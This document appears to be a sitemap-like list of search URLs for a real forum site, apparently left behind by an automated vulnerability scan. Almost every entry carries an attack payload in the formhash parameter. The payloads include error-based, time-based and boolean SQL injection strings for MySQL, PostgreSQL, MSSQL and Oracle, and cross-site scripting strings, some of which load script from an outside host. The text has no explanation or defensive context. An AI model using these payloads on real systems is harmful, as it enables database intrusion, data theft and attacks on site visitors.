http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=12)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20(11=11 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=65)%20THEN%200x3436383336356537%20ELSE%200x28%20END))%20AND%20(41=41 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,(SELECT%20(CASE%20WHEN%20(26=39)%20THEN%200x3436383336356537%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,(SELECT%20(CASE%20WHEN%20(33=91)%20THEN%200x3436383336356537%20ELSE%2033*(SELECT%2033%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,(SELECT%20(CASE%20WHEN%20(36=25)%20THEN%200x3436383336356537%20ELSE%2036*(SELECT%2036%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e71 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7AND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=468365e7a' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7 0.0014 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%00' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25%27%29%20AND%2049%3D76%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%2067=91%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=19)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%2527 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%2527%20AND%2084=58%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%5B%5D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%5C%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%5C' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7%bf%27 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%20'Gf'='Or 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20OR%20'HI'='HI'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=37)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20'aM'='aM 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%2037=91%20AND%20('A3'='A3 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=35)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20('MZ'='MZ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7';%20IF(89=47)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=692490b7) 0.0001 